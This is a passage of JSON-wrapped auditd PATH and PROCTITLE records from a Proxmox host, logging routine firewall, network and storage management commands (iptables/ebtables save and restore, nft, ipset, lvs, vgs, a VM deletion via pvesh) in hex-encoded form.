msg=audit(1781965900.934:67586): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085316,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.316:68363): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965900934,"@rawstring":"node=pve type=PATH msg=audit(1781965900.934:67585): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085316,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.316:68362): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965900934,"@rawstring":"node=pve type=PATH msg=audit(1781965900.934:67585): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085316,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.316:68361): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965900933,"@rawstring":"node=pve type=PATH msg=audit(1781965900.933:67584): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966084537,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966084.537:68360): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965900933,"@rawstring":"node=pve type=PATH msg=audit(1781965900.933:67584): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966084508,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966084.508:68359): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965899697,"@rawstring":"node=pve type=PATH msg=audit(1781965899.697:67583): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966081098,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966081.098:68358): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965899697,"@rawstring":"node=pve type=PATH msg=audit(1781965899.697:67583): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966081098,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966081.098:68357): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965899697,"@rawstring":"node=pve type=PATH msg=audit(1781965899.697:67582): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966081096,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966081.096:68356): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965899697,"@rawstring":"node=pve type=PATH msg=audit(1781965899.697:67581): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966080309,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966080.309:68355): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965899690,"@rawstring":"node=pve type=PATH msg=audit(1781965899.690:67580): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966080309,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966080.309:68354): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965899690,"@rawstring":"node=pve type=PATH msg=audit(1781965899.690:67580): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966080309,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966080.309:68353): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965899690,"@rawstring":"node=pve type=PATH msg=audit(1781965899.690:67579): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966080303,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966080.303:68352): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965899690,"@rawstring":"node=pve type=PATH msg=audit(1781965899.690:67578): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966080303,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966080.303:68351): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965895609,"@rawstring":"node=pve type=PATH msg=audit(1781965895.609:67577): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966080303,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966080.303:68350): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965895609,"@rawstring":"node=pve type=PATH msg=audit(1781965895.609:67577): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075639,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.639:68349): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965895606,"@rawstring":"node=pve type=PATH msg=audit(1781965895.606:67576): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075636,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.636:68348): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965895606,"@rawstring":"node=pve type=PATH msg=audit(1781965895.606:67576): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075635,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.635:68347): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965895604,"@rawstring":"node=pve type=PATH msg=audit(1781965895.604:67575): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075635,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.635:68346): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965895604,"@rawstring":"node=pve type=PATH msg=audit(1781965895.604:67575): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075631,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.631:68345): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965895604,"@rawstring":"node=pve type=PATH msg=audit(1781965895.604:67574): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075623,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.623:68344): proctitle=\"ip6tables-save\""} {"@timestamp":1781965895600,"@rawstring":"node=pve type=PATH msg=audit(1781965895.600:67573): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075616,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.616:68343): proctitle=\"iptables-save\""} {"@timestamp":1781965895600,"@rawstring":"node=pve type=PATH msg=audit(1781965895.600:67573): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.608:68342): proctitle=\"ip6tables-save\""} {"@timestamp":1781965895600,"@rawstring":"node=pve type=PATH msg=audit(1781965895.600:67573): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075600,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.600:68341): proctitle=\"iptables-save\""} {"@timestamp":1781965895592,"@rawstring":"node=pve type=PATH msg=audit(1781965895.592:67572): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075596,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.596:68340): proctitle=\"ebtables-restore\""} {"@timestamp":1781965895592,"@rawstring":"node=pve type=PATH msg=audit(1781965895.592:67572): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075593,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.593:68339): proctitle=\"ebtables-restore\""} {"@timestamp":1781965895583,"@rawstring":"node=pve type=PATH msg=audit(1781965895.583:67571): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075587,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.587:68338): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965895583,"@rawstring":"node=pve type=PATH msg=audit(1781965895.583:67571): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075580,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.580:68337): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965895573,"@rawstring":"node=pve type=PATH msg=audit(1781965895.573:67570): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075574,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.574:68336): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965895573,"@rawstring":"node=pve type=PATH msg=audit(1781965895.573:67570): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075567,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.567:68335): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965895556,"@rawstring":"node=pve type=PATH msg=audit(1781965895.556:67569): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075561,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.561:68334): proctitle=697073657400726573746F7265"} {"@timestamp":1781965895556,"@rawstring":"node=pve type=PATH msg=audit(1781965895.556:67569): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075553,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.553:68333): proctitle=\"ip6tables-save\""} {"@timestamp":1781965895549,"@rawstring":"node=pve type=PATH msg=audit(1781965895.549:67567): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895549,"@rawstring":"node=pve type=PATH msg=audit(1781965895.549:67567): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075546,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.546:68332): proctitle=\"iptables-save\""} {"@timestamp":1781965895541,"@rawstring":"node=pve type=PATH msg=audit(1781965895.541:67566): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075541,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.541:68331): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965895541,"@rawstring":"node=pve type=PATH msg=audit(1781965895.541:67566): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075538,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.538:68330): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965895535,"@rawstring":"node=pve type=PATH msg=audit(1781965895.535:67565): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075537,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.537:68329): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965895535,"@rawstring":"node=pve type=PATH msg=audit(1781965895.535:67565): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075537,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.537:68328): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965895528,"@rawstring":"node=pve type=PATH msg=audit(1781965895.528:67564): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075533,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.533:68327): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965895528,"@rawstring":"node=pve type=PATH msg=audit(1781965895.528:67564): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075526,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.526:68326): proctitle=\"ip6tables-save\""} {"@timestamp":1781965895522,"@rawstring":"node=pve type=PATH msg=audit(1781965895.522:67563): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075518,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.518:68325): proctitle=\"iptables-save\""} {"@timestamp":1781965895522,"@rawstring":"node=pve type=PATH msg=audit(1781965895.522:67563): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075512,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.512:68324): proctitle=69707365740073617665"} {"@timestamp":1781965895517,"@rawstring":"node=pve type=PATH msg=audit(1781965895.517:67562): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075504,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.504:68323): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965895517,"@rawstring":"node=pve type=PATH msg=audit(1781965895.517:67562): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075496,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.496:68322): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965895510,"@rawstring":"node=pve type=PATH msg=audit(1781965895.510:67561): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075294,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.294:68321): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965895510,"@rawstring":"node=pve type=PATH msg=audit(1781965895.510:67561): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075294,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.294:68320): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965895503,"@rawstring":"node=pve type=PATH msg=audit(1781965895.503:67560): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075294,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.294:68319): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965895503,"@rawstring":"node=pve type=PATH msg=audit(1781965895.503:67560): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075283,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.283:68318): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965895498,"@rawstring":"node=pve type=PATH msg=audit(1781965895.498:67559): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075283,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.283:68317): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965895498,"@rawstring":"node=pve type=PATH msg=audit(1781965895.498:67559): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966075283,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966075.283:68316): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965895495,"@rawstring":"node=pve type=PATH msg=audit(1781965895.495:67558): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966074399,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966074.399:68315): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965895495,"@rawstring":"node=pve type=PATH msg=audit(1781965895.495:67558): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966074374,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966074.374:68314): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965895494,"@rawstring":"node=pve type=PATH msg=audit(1781965895.494:67557): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966073591,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966073.591:68313): proctitle=2F7573722F62696E2F7065726C002F7573722F62696E2F70766573680064656C657465002F6E6F6465732F7076652F71656D752F383737"} {"@timestamp":1781965895494,"@rawstring":"node=pve type=PATH msg=audit(1781965895.494:67557): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966070275,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966070.275:68312): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965895494,"@rawstring":"node=pve type=PATH msg=audit(1781965895.494:67556): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966070275,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966070.275:68311): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965895489,"@rawstring":"node=pve type=PATH msg=audit(1781965895.489:67555): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966070275,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966070.275:68310): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965895489,"@rawstring":"node=pve type=PATH msg=audit(1781965895.489:67555): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966070270,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966070.270:68309): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965895489,"@rawstring":"node=pve type=PATH msg=audit(1781965895.489:67555): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966070270,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966070.270:68308): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965895481,"@rawstring":"node=pve type=PATH msg=audit(1781965895.481:67554): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966070270,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966070.270:68307): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965895481,"@rawstring":"node=pve type=PATH msg=audit(1781965895.481:67554): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 